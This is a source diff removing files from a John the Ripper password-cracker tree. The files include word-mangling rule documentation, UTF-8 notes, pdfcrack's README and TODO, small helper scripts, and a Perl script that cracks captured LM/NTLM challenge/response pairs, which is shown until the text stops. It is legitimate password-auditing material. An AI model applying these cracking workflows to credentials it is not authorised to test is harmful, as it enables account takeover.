TN toggle case of the character in position N
|
||||
r reverse: "Fred" -> "derF"
|
||||
d duplicate: "Fred" -> "FredFred"
|
||||
f reflect: "Fred" -> "FredderF"
|
||||
{ rotate the word left: "jsmith" -> "smithj"
|
||||
} rotate the word right: "smithj" -> "jsmith"
|
||||
$X append character X to the word
|
||||
^X prefix the word with character X
|
||||
|
||||
|
||||
String commands.
|
||||
|
||||
AN"STR" insert string STR into the word at position N
|
||||
|
||||
To append a string, specify "z" for the position. To prefix the word
|
||||
with a string, specify "0" for the position.
|
||||
|
||||
Although the use of the double-quote character is good for readability,
|
||||
you may use any other character not found in STR instead. This is
|
||||
particularly useful when STR contains the double-quote character.
|
||||
There's no way to escape your quotation character of choice within a
|
||||
string (preventing it from ending the string and the command), but you
|
||||
may achieve the same effect by specifying multiple commands one after
|
||||
another. For example, if you choose to use the forward slash as your
|
||||
quotation character, yet it happens to be found in a string and you
|
||||
don't want to reconsider your choice, you may write "Az/yes/$/Az/no/",
|
||||
which will append the string "yes/no". Of course, it is simpler and
|
||||
more efficient to use, say, "Az,yes/no," for the same effect.
|
||||
|
||||
|
||||
Length control commands.
|
||||
|
||||
<N reject the word unless it is less than N characters long
|
||||
>N reject the word unless it is greater than N characters long
|
||||
'N truncate the word at length N
|
||||
|
||||
|
||||
English grammar commands.
|
||||
|
||||
p pluralize: "crack" -> "cracks", etc. (lowercase only)
|
||||
P "crack" -> "cracked", etc. (lowercase only)
|
||||
I "crack" -> "cracking", etc. (lowercase only)
|
||||
|
||||
|
||||
Insert/delete commands.
|
||||
|
||||
[ delete the first character
|
||||
] delete the last character
|
||||
DN delete the character in position N
|
||||
xNM extract substring from position N for up to M characters
|
||||
iNX insert character X in position N and shift the rest right
|
||||
oNX overstrike character in position N with character X
|
||||
|
||||
Also see the "X" command (extract and insert substring) under "Memory
|
||||
access commands" below.
|
||||
|
||||
Note that square brackets ("[" and "]") are special characters to the
|
||||
preprocessor: you should escape them with a backslash ("\") if using
|
||||
these commands.
|
||||
|
||||
|
||||
Charset conversion commands.
|
||||
|
||||
S shift case: "Crack96" -> "cRACK(^"
|
||||
V lowercase vowels, uppercase consonants: "Crack96" -> "CRaCK96"
|
||||
R shift each character right, by keyboard: "Crack96" -> "Vtsvl07"
|
||||
L shift each character left, by keyboard: "Crack96" -> "Xeaxj85"
|
||||
|
||||
|
||||
Memory access commands.
|
||||
|
||||
M memorize the word (for use with "Q", "X", or to update "m")
|
||||
Q query the memory and reject the word unless it has changed
|
||||
XNMI extract substring NM from memory and insert into current word at I
|
||||
|
||||
If "Q" or "X" are used without a preceding "M", they read from the
|
||||
initial "word". In other words, you may assume an implied "M" at the
|
||||
start of each rule, and there's no need to ever start a rule with "M"
|
||||
(that "M" would be a no-op). The only reasonable use for "M" is in the
|
||||
middle of a rule, after some commands have possibly modified the word.
|
||||
|
||||
The intended use for the "Q" command is to help avoid duplicate
|
||||
candidate passwords that could result from multiple similar rules. For
|
||||
example, if you have the rule "l" (lowercase) somewhere in your ruleset
|
||||
and you want to add the rule "lr" (lowercase and reverse), you could
|
||||
instead write the latter as "lMrQ" in order to avoid producing duplicate
|
||||
candidate passwords for palindromes.
|
||||
|
||||
The "X" command extracts a substring from memory (or from the initial
|
||||
word if "M" was never used) starting at position N (in the memorized or
|
||||
initial word) and going for up to M characters. It inserts the
|
||||
substring into the current word at position I. The target position may
|
||||
be "z" for appending the substring, "0" for prefixing the word with it,
|
||||
or it may be any other valid numeric constant or variable. Some example
|
||||
uses, assuming that we're at the start of a rule or after an "M", would
|
||||
be "X011" (duplicate the first character), "Xm1z" (duplicate the last
|
||||
character), "dX0zz" (triplicate the word), "<4X011X113X215" (duplicate
|
||||
every character in a short word), ">9x5zX05z" (rotate long words left by
|
||||
5 characters, same as ">9{{{{{" but faster due to fewer commands),
|
||||
">9vam4Xa50'l" (rotate right by 5 characters, same as ">9}}}}}").
|
||||
|
||||
|
||||
Numeric commands.
|
||||
|
||||
vVNM update "l" (length), then subtract M from N and assign to variable V
|
||||
|
||||
V must be one of "a" through "k". N and M may be any valid numeric
|
||||
constants or initialized variables. It is OK to refer to the same
|
||||
variable in the same command more than once, even three times. For
|
||||
example, "va00" and "vaaa" will both set the variable "a" to zero (but
|
||||
the latter will require "a" to have been previously initialized),
|
||||
whereas "vil2" will set the variable "i" to the current word's length
|
||||
minus 2. If "i" is then used as a character position before the word is
|
||||
modified further, it will refer to the second character from the end.
|
||||
It is OK for intermediate variable values to become negative, but such
|
||||
values should not be directly used as positions or lengths. For
|
||||
example, if we follow our "vil2" somewhere later in the same rule with
|
||||
"vj02vjij", we'll set "j" to "i" plus 2, or to the word's length as of
|
||||
the time of processing of the "vil2" command earlier in the rule.
|
||||
|
||||
|
||||
Character class commands.
|
||||
|
||||
sXY replace all characters X in the word with Y
|
||||
s?CY replace all characters of class C in the word with Y
|
||||
@X purge all characters X from the word
|
||||
@?C purge all characters of class C from the word
|
||||
!X reject the word if it contains character X
|
||||
!?C reject the word if it contains a character in class C
|
||||
/X reject the word unless it contains character X
|
||||
/?C reject the word unless it contains a character in class C
|
||||
=NX reject the word unless character in position N is equal to X
|
||||
=N?C reject the word unless character in position N is in class C
|
||||
(X reject the word unless its first character is X
|
||||
(?C reject the word unless its first character is in class C
|
||||
)X reject the word unless its last character is X
|
||||
)?C reject the word unless its last character is in class C
|
||||
%NX reject the word unless it contains at least N instances of X
|
||||
%N?C reject the word unless it contains at least N characters of class C
|
||||
|
||||
|
||||
Extra "single crack" mode commands.
|
||||
|
||||
When defining "single crack" mode rules, extra commands are available
|
||||
for word pairs support, to control if other commands are applied to the
|
||||
first, the second, or to both words:
|
||||
|
||||
1 first word only
|
||||
2 second word only
|
||||
+ the concatenation of both (should only be used after a "1" or "2")
|
||||
|
||||
If you use some of the above commands in a rule, it will only process
|
||||
word pairs (e.g., full names from the GECOS field) and reject single
|
||||
words. A "+" is assumed at the end of any rule that uses some of these
|
||||
commands, unless you specify it manually. For example, "1l2u" will
|
||||
convert the first word to lowercase, the second one to uppercase, and
|
||||
use the concatenation of both. The use for a "+" might be to apply some
|
||||
more commands: "1l2u+r" will reverse the concatenation of both words,
|
||||
after applying some commands to them separately.
|
||||
|
||||
|
||||
The rule preprocessor.
|
||||
|
||||
The preprocessor is used to combine similar rules into one source line.
|
||||
For example, if you need to make John try lowercased words with digits
|
||||
appended, you could write a rule for each digit, 10 rules total. Now
|
||||
imagine appending two-digit numbers - the configuration file would get
|
||||
large and ugly.
|
||||
|
||||
With the preprocessor you can do these things easier. Simply write one
|
||||
source line containing the common part of these rules followed by the
|
||||
list of characters you would have put into separate rules, in square
|
||||
brackets (the way you would do in a regexp). The preprocessor will then
|
||||
generate the rules for you (at John startup for syntax checking, and
|
||||
once again while cracking, but never keeping all of the expanded rules
|
||||
in memory). For the examples above, the source lines will be "l$[0-9]"
|
||||
(lowercase and append a digit) and "l$[0-9]$[0-9]" (lowercase and append
|
||||
two digits). These source lines will be expanded to 10 and 100 rules,
|
||||
respectively. By the way, preprocessor commands are processed
|
||||
right-to-left while character lists are processed left-to-right, which
|
||||
results in natural ordering of numbers in the above examples and in
|
||||
other typical cases. Note that arbitrary combinations of character
|
||||
ranges and character lists are valid. For example, "[aeiou]" will use
|
||||
vowels, whereas "[aeiou0-9]" will use vowels and digits. If you need to
|
||||
have John try vowels followed by all other letters, you can use
|
||||
"[aeioua-z]" - the preprocessor is smart enough not to produce duplicate
|
||||
rules in such cases (although this behavior may be disabled with the
|
||||
"\r" magic escape sequence described below).
|
||||
|
||||
There are some special characters in rules ("[" starts a preprocessor
|
||||
character list, "-" marks a range inside the list, etc.) You should
|
||||
prefix them with a backslash ("\") if you want to put them inside a rule
|
||||
without using their special meaning. Of course, the same applies to "\"
|
||||
itself. Also, if you need to start a preprocessor character list at the
|
||||
very beginning of a line, you'll have to prefix it with a ":" (the no-op
|
||||
rule command), or it would be treated as a new section start.
|
||||
|
||||
Finally, the preprocessor supports some magic escape sequences. These
|
||||
start with a backslash and use characters that you would not normally
|
||||
need to escape. In the following paragraph describing the escapes, the
|
||||
word "range" refers to a single instance of a mix of character lists
|
||||
and/or ranges placed in square brackets as illustrated above.
|
||||
|
||||
Currently supported are "\1" through "\9" for back-references to prior
|
||||
ranges (these will be substituted by the same character that is
|
||||
currently substituted for the referenced range, with ranges numbered
|
||||
from 1, left-to-right), "\0" for back-reference to the immediately
|
||||
preceding range, "\p" before a range to have that range processed "in
|
||||
parallel" with preceding ranges, "\p1" through "\p9" to have the range
|
||||
processed "in parallel" with the specific referenced range, "\p0" to
|
||||
have the range processed "in parallel" with the immediately preceding
|
||||
range, and "\r" to allow the range to produce repeated characters. The
|
||||
"\r" escape is only useful if the range is "parallel" to another one or
|
||||
if there's at least one other range "parallel" to this one, because you
|
||||
should not want to actually produce duplicate rules.
|
||||
|
||||
Please refer to the default configuration file for John the Ripper for
|
||||
many example uses of the features described in here.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/RULES,v 1.11 2010/02/26 01:13:37 solar Exp $
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
This version of John is UTF-8 aware, using a new option flag. In short,
|
||||
this flag says "my wordlists and input files are encoded in UTF-8" and
|
||||
it can be used without knowing if the particular format is affected or
|
||||
not.
|
||||
|
||||
Without this support, John will assume ISO-8859-1 when converting
|
||||
plaintexts or salts to UTF-16. This affects many Microsoft formats
|
||||
like NT, mscash and mssql. Other formats, like DES or MD5 are never
|
||||
doing such conversion, so you would just use wordlists encoded in the
|
||||
same format as the hashes once were generated in. The --utf8 flag is
|
||||
supported for such formats too, but will only affect the new reject
|
||||
rules, see below.
|
||||
|
||||
To enable UTF-8 conversion, just add the --utf8 flag. This will affect
|
||||
not only wordlist files, but also salts, usernames (when used as salt)
|
||||
and any info used by --single. You can also test all the UTF-8 aware
|
||||
formats at once using "john --test --utf8"
|
||||
|
||||
To convert a wordlist to UTF-8, use iconv(1):
|
||||
|
||||
$ iconv -f koi8r -t utf-8 cslang >cslang.utf8
|
||||
|
||||
You can convert from/to a large number of formats, see iconv's man page.
|
||||
|
||||
|
||||
Two new reject rules are implemented:
|
||||
|
||||
-u reject rule unless the --utf8 flag is used
|
||||
|
||||
-U reject rule if the --utf8 flag is used
|
||||
|
||||
Note that this can be used to enable/disable certain rules even for
|
||||
formats that does not use UTF-16 internally (eg. raw md5 of utf-8
|
||||
plaintexts).
|
||||
|
||||
|
||||
A new character class is also implemented, ?b (b for binary). It matches
|
||||
8-bit characters. This can be used with or without the UTF-8 support.
|
||||
|
||||
|
||||
Caveats:
|
||||
- UTF-8 conversion is often slower than the default ISO-8859-1 one, so
|
||||
it's advisable to only use this when you have to. That is, when your
|
||||
wordlist contains characters not included in ISO-8859-1.
|
||||
- Some wordlist rules may cut UTF-8 multibyte sequences in the middle,
|
||||
resulting in garbage. You can reject such rules with -U to have them in
|
||||
use only when --utf8 is not used.
|
||||
- Beware of UTF-8 BOM's. Do not use them (they will cripple the first word
|
||||
in your wordlist, that's all).
|
||||
|
||||
--
|
||||
|
||||
These contributions to John are hereby placed in the public domain. In
|
||||
case that is not applicable, they are Copyright 2009, 2010, 2011 by me and
|
||||
hereby released to the general public. Redistribution and use in source
|
||||
and binary forms, with or without modification, is permitted.
|
||||
|
||||
magnum
|
||||
|
|
@ -1,71 +0,0 @@
|
|||
These are "public" functions that can be used for supporting UTF-8 in your
|
||||
own formats for JtR. All are put in unicode.c.
|
||||
|
||||
If you are not aware of UCS-2, just consider it a synonym to UTF-16. For our
|
||||
purposes, they are the same.
|
||||
|
||||
|
||||
Convert from ISO-8859-1 or UTF-8 to UTF-16LE:
|
||||
=============================================
|
||||
Source format depends on --utf8 flag given to john when running.
|
||||
If length is exceeded or malformed data is found, it will return a negative
|
||||
number telling you how much of the source that was read. That is, a return
|
||||
code of -32 means you have an UNKNOWN number of characters of UCS-2 [use
|
||||
strlen16()] in the destination buffer and you should truncate your
|
||||
"saved_plain" (if applicable) at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int plaintowcs(UTF16 *dst, int maxdstlen, const UTF8 *src, int srclen);
|
||||
|
||||
|
||||
|
||||
Convert UTF-8 to UTF-16LE:
|
||||
==========================
|
||||
Always from UTF-8. This is optimised for speed. If length is exceeded or
|
||||
malformed data is found, it will return a negative number telling you how much
|
||||
of the source that was read. That is, a return code of -32 means you have an
|
||||
UNKNOWN number of characters of UCS-2 [use strlen16()] in the destination
|
||||
buffer and you should truncate your "saved_plain" at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int utf8towcs(UTF16 *target, int maxtargetlen,
|
||||
const UTF8 *source, int sourcelen);
|
||||
|
||||
|
||||
|
||||
Convert UTF-16LE to UTF-8:
|
||||
==========================
|
||||
Currently used in NT_fmt.c in order to avoid using a saved_plain buffer.
|
||||
|
||||
#include "unicode.h"
|
||||
extern char * utf16toutf8 (const UTF16* source);
|
||||
|
||||
|
||||
|
||||
Return length (in characters) of a UTF16 string:
|
||||
================================================
|
||||
Number of octets is the result * sizeof(UTF16)
|
||||
|
||||
#include "unicode.h"
|
||||
int strlen16(const UTF16 *str);
|
||||
|
||||
|
||||
|
||||
Create an NT hash:
|
||||
==================
|
||||
This will convert from ISO-8859 or UTF-8 depending on the --utf8 option. The
|
||||
function will use Alain's fast NT hashing if length is <= 27 characters,
|
||||
otherwise it will use Solar's MD4. Lengths up to MAX_PLAINTEXT_LENGTH is thus
|
||||
supported with no hassle for you. If length is exceeded or malformed data is
|
||||
found, it will return a negative number telling you how much of the source
|
||||
that was read. That is, a return code of -32 means you should truncate your
|
||||
"saved_plain" at 32.
|
||||
|
||||
#include "unicode.h"
|
||||
int E_md4hash(const UTF8 *passwd, int len, unsigned char *p16);
|
||||
|
||||
|
||||
|
||||
NOTE that there are more functions available in ConvertUTF.c.original
|
||||
(ConvertUTF.h.original) and if we need any of them, we should copy them to
|
||||
unicode.c/h and simplify/optimize them.
|
||||
|
|
@ -1,48 +0,0 @@
|
|||
Code and documentation are copyright 2006-2008 Henning Norén
|
||||
|
||||
Parts of pdfcrack.c and md5.c is derived/copied/inspired from
|
||||
xpdf/poppler and are copyright 1995-2006 Glyph & Cog, LLC.
|
||||
|
||||
The PDF data structures, operators, and specification are
|
||||
copyright 1985-2006 Adobe Systems Inc.
|
||||
|
||||
|
||||
Project page: http://sourceforge.net/projects/pdfcrack/
|
||||
|
||||
|
||||
pdfcrack is a simple tool for recovering passwords from pdf-documents.
|
||||
It should be able to handle all pdfs that uses the standard security handler
|
||||
but the pdf-parsing routines are a bit of a quick hack so you might stumble
|
||||
across some pdfs where the parser needs to be fixed to handle.
|
||||
|
||||
Type 'make' (or 'gmake' if you have BSD-make as default) to build the program.
|
||||
You will need to have GNU Make and a recent version of GCC installed but there
|
||||
are no external dependencies on libraries.
|
||||
You will have to add the -march-switch in the CFLAGS-option in Makefile
|
||||
for best optimization on your platform. Look into the GCC-manual
|
||||
(http://gcc.gnu.org/onlinedocs/) if you are unsure.
|
||||
|
||||
The program is distributed under GPL version 2 (or later).
|
||||
|
||||
Features available in this release (check TODO for features that might come):
|
||||
* Both owner- and user-passwords with the Standard Security Handler, rev 2 & 3.
|
||||
* Search by wordlist
|
||||
* Search by bruteforcing with specific charset
|
||||
* Optimized search for owner-password when user-password is known (or empty)
|
||||
* Extremely simple permutations of passwords (makes first letter uppercase)
|
||||
|
||||
- currently only useful for bruteforcing with charsets:
|
||||
* Auto-save when interrupted (Ctrl-C or send SIGINT to the process)
|
||||
* Loading saved state
|
||||
|
||||
- currently only for bruteforcing with charsets:
|
||||
* Minimum length of password to start at
|
||||
* Maximum length of password to try
|
||||
|
||||
|
||||
Sort your wordlist by length for best performance and consider that almost
|
||||
all passwords in PDFs are in iso latin 1 so use the correct character encoding
|
||||
in your terminal and/or wordlist when using special characters.
|
||||
|
||||
This tool can not decrypt a Password Protected PDF.
|
||||
Look up the pdftk toolkit which can do that, when you know the password.
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
Replace pdfparser with a more robust and complete parsing of a PDF
|
||||
|
||||
Optimize the crack and crypto-routines for greater performance
|
||||
|
||||
Add support for third-party security handlers
|
||||
|
||||
Add real permutation-support. Maybe John the Ripper could be a
|
||||
source of inspiration?
|
||||
|
||||
Add support for masked passwords, when we already knows parts of the password
|
||||
|
||||
|
||||
Furthermore:
|
||||
|
||||
Replace pdfparser with a complete representation of the structure of a
|
||||
PDF-file that can be used to find information and more importantly, can be
|
||||
written out again to a file.
|
||||
For this we need to understand/represent objects (indirect and direct), the
|
||||
file structure (lineraized and standard) and xreftables with trailers.
|
||||
We need to be able to update/fix the xreftables when writing it.
|
||||
We also need support for LZM-compression that is used for many streams.
|
||||
|
||||
When the above item is done there is nothing stopping us from adding complete
|
||||
RC4-keyspace search and decrypt without having to bother cracking the
|
||||
passwords. An example of this search can be viewed at:
|
||||
http://www.upl.cs.wisc.edu/~hamblin/files/rc4_single_brute.c
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,78 +0,0 @@
|
|||
#!/usr/bin/ruby -w
|
||||
|
||||
require 'getoptlong'
|
||||
|
||||
def help
|
||||
puts "Usage: #{$0} [options]"
|
||||
puts "\t-h --help\t\tthis help."
|
||||
puts "\t-f --file\t\toutput file."
|
||||
puts "\t-n --num\t\tcharset: 0123456789"
|
||||
puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz"
|
||||
puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
puts "\t-l --alphanum\t\tcharset: alpha + num"
|
||||
puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num"
|
||||
puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*"
|
||||
puts "\t-c --custom"
|
||||
puts "\nExample:\n"
|
||||
puts "#{$0} -f stats -s"
|
||||
puts "#{$0} -f stats -c \"0123abc+=\""
|
||||
exit
|
||||
end
|
||||
|
||||
ch_alpha = 'abcdefghijklmnopqrstuvwxyz'
|
||||
ch_num = '0123456789'
|
||||
ch_sp = '!@#$+=.*'
|
||||
|
||||
opts = GetoptLong.new(
|
||||
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT],
|
||||
[ '--all', '-s', GetoptLong::NO_ARGUMENT],
|
||||
[ '--num', '-n', GetoptLong::NO_ARGUMENT],
|
||||
[ '--alpha', '-a', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ]
|
||||
)
|
||||
|
||||
charset = nil
|
||||
filename = "stats_out"
|
||||
|
||||
opts.each do |opt, arg|
|
||||
case opt
|
||||
when '--help'
|
||||
help
|
||||
when '--file'
|
||||
filename = arg
|
||||
when '--num'
|
||||
charset = ch_num
|
||||
when '--alpha'
|
||||
charset = ch_alpha
|
||||
when '--alphamaj'
|
||||
charset = ch_alpha.capitalize
|
||||
when '--alphanum'
|
||||
charset = ch_alpha + ch_num
|
||||
when '--alphanummaj'
|
||||
charset = ch_alpha.capitalize + ch_num
|
||||
when '--all'
|
||||
charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp
|
||||
when '--custom'
|
||||
charset = arg
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if charset == nil
|
||||
help
|
||||
end
|
||||
|
||||
|
||||
fstat = File.open(filename, "w")
|
||||
charset.each_byte do |c|
|
||||
fstat.write("1=proba1[#{c.to_s}]\n")
|
||||
charset.each_byte do |tmp|
|
||||
fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n")
|
||||
end
|
||||
end
|
||||
fstat.close
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,25 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
$i=1;
|
||||
|
||||
while(<>) {
|
||||
chomp;
|
||||
if(/^$/) {
|
||||
if($object{"uid"} ne "") {
|
||||
print $object{"uid"}.":";
|
||||
print $object{"userPassword"} ne "" ? $object{"userPassword"} : "*";
|
||||
print ":";
|
||||
print $i.":";
|
||||
print $i.":";
|
||||
print $object{"cn"}.":";
|
||||
print $object{"homeDirectory"} ne "" ? $object{"homeDirectory"} : "/";
|
||||
print ":/bin/sh\n";
|
||||
}
|
||||
%object = ();
|
||||
$i++;
|
||||
next;
|
||||
}
|
||||
|
||||
($lhs, $rhs) = split(/: /);
|
||||
$object{$lhs} = $rhs;
|
||||
}
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
#!/bin/sh
|
||||
#
|
||||
# This file is part of John the Ripper password cracker,
|
||||
# Copyright (c) 1996-98 by Solar Designer
|
||||
#
|
||||
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage: $0 PASSWORD-FILE"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# There's no need to mail users with these shells
|
||||
SHELLS=-,/bin/false,/dev/null,/bin/sync
|
||||
|
||||
# Look for John in the same directory with this script
|
||||
DIR="`echo "$0" | sed 's,/[^/]*$,,'`"
|
||||
|
||||
# Let's start
|
||||
$DIR/john -show "$1" -shells:$SHELLS | sed -n 's/:.*//p' |
|
||||
(
|
||||
SENT=0
|
||||
|
||||
while read LOGIN; do
|
||||
echo Sending mail to "$LOGIN"...
|
||||
|
||||
# You'll probably want to edit the message below
|
||||
mail -s 'Bad password' "$LOGIN" << EOF
|
||||
Hello!
|
||||
|
||||
Your password for account "$LOGIN" is insecure. Please change it as soon
|
||||
as possible.
|
||||
|
||||
Yours,
|
||||
Password Checking Robot.
|
||||
EOF
|
||||
|
||||
SENT=$(($SENT+1))
|
||||
done
|
||||
|
||||
echo $SENT messages sent
|
||||
)
|
||||
Binary file not shown.
|
|
@ -1,262 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
#
|
||||
#####################################################################
|
||||
#
|
||||
# Written by JoMo-Kun <jmk at foofus.net> in 2007
|
||||
# and placed in the public domain.
|
||||
#
|
||||
# The purpose of this script is to aid with cracking a LM/NTLM
|
||||
# challenge/response set, when part of the password is known. It
|
||||
# was written with John's NetLM/NetNTLM formats and "halflmchall"
|
||||
# Rainbow Tables in mind.
|
||||
#
|
||||
# Example Scenario:
|
||||
# Let's assume you've captured LM/NTLM challenge/response set for
|
||||
# the password Cricket88!. You may be able to crack the first part
|
||||
# (i.e. CRICKET) using "Half LM" Rainbow Tables. This script will
|
||||
# use that value as a seed and attempt to crack the second part
|
||||
# (i.e. "88!") via an incremental brute. It'll then use the NetNTLM
|
||||
# response hash to crack the case-sensitive version of the entire
|
||||
# password.
|
||||
#
|
||||
#####################################################################
|
||||
|
||||
use Getopt::Long;
|
||||
|
||||
my $VERSION = "0.2";
|
||||
my %opt;
|
||||
my %data;
|
||||
|
||||
my $JOHN = "john";
|
||||
|
||||
GetOptions (
|
||||
'seed=s' => \$opt{'seed'},
|
||||
'file=s' => \$opt{'file'},
|
||||
'help|h' => sub { ShowUsage(); },
|
||||
);
|
||||
|
||||
sub showUsage {
|
||||
print "john-netntlm.pl v$VERSION\n\n";
|
||||
print "JoMo-Kun <jmk\@foofus.net>\n\n";
|
||||
print "Usage: $0 [OPTIONS]\n";
|
||||
print " $0\n";
|
||||
print " --seed [RainbowCrack/HalfLM Response Password]\n";
|
||||
print " --file [File Containing LM/NTLM challenge/responses (.lc format)]\n";
|
||||
print " Ex: Domain\\User:::LM response:NTLM response:challenge";
|
||||
print "\n";
|
||||
print " Ex:\n";
|
||||
print " $0 --file capture.lc\n";
|
||||
print " $0 --seed \"GERGE!!\"--file capture.lc\n";
|
||||
print "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
# Main
|
||||
{
|
||||
if ( !defined($opt{'file'}) ) { &showUsage; }
|
||||
|
||||
# Parse accounts to audit
|
||||
open(HAND, $opt{'file'}) || die("Failed to open response file: $opt{'file'} -- $!");
|
||||
@{ $data{'pairs'} } = <HAND>;
|
||||
close(HAND);
|
||||
|
||||
# Load information for any accounts previous cracked
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
|
||||
open (HAND, "$JOHN -format:netlm -show $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
print STDERR "The following LM responses have been previously cracked:\n";
|
||||
while(<HAND>) {
|
||||
next if ( /\d+ password hashes cracked, \d+ left/ );
|
||||
last if /^$/;
|
||||
print "\t$_";
|
||||
push @{ $data{'cracked-lm'} }, $_;
|
||||
}
|
||||
close(HAND);
|
||||
|
||||
print STDERR "\nThe following NTLM responses have been previously cracked:\n";
|
||||
open (HAND, "$JOHN -format:netntlm -show $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) {
|
||||
next if ( /\d+ password hashes cracked, \d+ left/ );
|
||||
last if /^$/;
|
||||
print "\t$_";
|
||||
push @{ $data{'cracked-ntlm'} }, $_;
|
||||
}
|
||||
close(HAND);
|
||||
|
||||
mkdir("/tmp/john.$$") || die;
|
||||
my $tmpconf = &createConf();
|
||||
my $tmpsession = "/tmp/john.$$/john.session";
|
||||
my $tmpsessionlog = "/tmp/john.$$/john.session.log";
|
||||
my $tmplog = "/tmp/john.$$/john.log";
|
||||
#print STDERR "Created temporary configuration file: $tmpconf\n";
|
||||
|
||||
# Crack case-sensitive version of password
|
||||
my $tmpdict = "/tmp/john.$$/john.dict";
|
||||
#print STDERR "Created temporary dictionary file: $tmpdict\n";
|
||||
|
||||
foreach $credential_set ( @{ $data{'cracked-lm'} } ) {
|
||||
my ($account,$lmpass,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set);
|
||||
next if ( grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) );
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Performing NTLM case-sensitive crack for account: $account.\n";
|
||||
|
||||
open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!");
|
||||
print HAND "$lmpass";
|
||||
close(HAND);
|
||||
|
||||
open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -user:\"$account\" -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) { print; }
|
||||
close(HAND);
|
||||
|
||||
unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!");
|
||||
}
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Isolating accounts which have only had their LM response cracked.\n";
|
||||
|
||||
foreach $credential_set ( @{ $data{'pairs'} } ) {
|
||||
$credential_set =~ s/\\/\\\\/g;
|
||||
my ($account,$foo,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set);
|
||||
if (lc($netlm) eq lc($netntlm)) {
|
||||
print STDERR "LM response is not unique from NTLM response (skipping):\n\t$credential_set\n";
|
||||
push @{ $data{'pairs-ntlm'} }, $credential_set;
|
||||
}
|
||||
elsif ( @cracked = grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ) {
|
||||
print STDERR "Account $account NTLM response previously cracked.\n";
|
||||
#print "@cracked";
|
||||
}
|
||||
else {
|
||||
print STDERR "Account $account LM response added to cracking list.\n";
|
||||
push @{ $data{'pairs-lm'} }, $credential_set;
|
||||
}
|
||||
}
|
||||
|
||||
if ( defined($opt{'seed'}) ) {
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "Testing seed password to determine whether it is the actual password.\n";
|
||||
open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!");
|
||||
print HAND $opt{'seed'};
|
||||
close(HAND);
|
||||
|
||||
open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!");
|
||||
while(<HAND>) {
|
||||
print;
|
||||
next if (/^guesses: .*time: / || (/^Loaded .* password hash /) || (/^No password hashes loaded/));
|
||||
my ($account) = $_ =~ / \((.*)\)$/;
|
||||
|
||||
# Remove accounts which just cracked from list
|
||||
my $i = 0;
|
||||
foreach $credential_set ( @{ $data{'pairs-lm'} } ) {
|
||||
$account =~ s/\\/_/g;
|
||||
$credential_set =~ s/\\\\/_/g;
|
||||
if ( $credential_set =~ /^$account:/ ) {
|
||||
splice(@{ $data{'pairs-lm'} }, $i, 1);
|
||||
}
|
||||
$i++;
|
||||
}
|
||||
}
|
||||
close(HAND);
|
||||
unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!");
|
||||
|
||||
my $tmppasswd = "/tmp/john.$$/john.passwd";
|
||||
open(HAND, ">$tmppasswd") || die("Failed to open $tmppasswd: $!");
|
||||
print HAND @{ $data{'pairs-lm'} };
|
||||
close(HAND);
|
||||
|
||||
print STDERR "\n\n";
|
||||
print STDERR "###########################################################################################\n";
|
||||
print STDERR "The hashes contained within $tmppasswd have not been cracked.\n";
|
||||
print STDERR "Executing the following (this could take a while...):\n\n";
|
||||
print STDERR "john -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd\n";
|
||||
print STDERR "\n";
|
||||
print STDERR " *If the passwords successfully crack, use this script again to crack the case-sensitive password\n";
|
||||
print STDERR " without feeding a seed password\n";
|
||||
print STDERR"\n\n";
|
||||
|
||||
system("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd");
|
||||
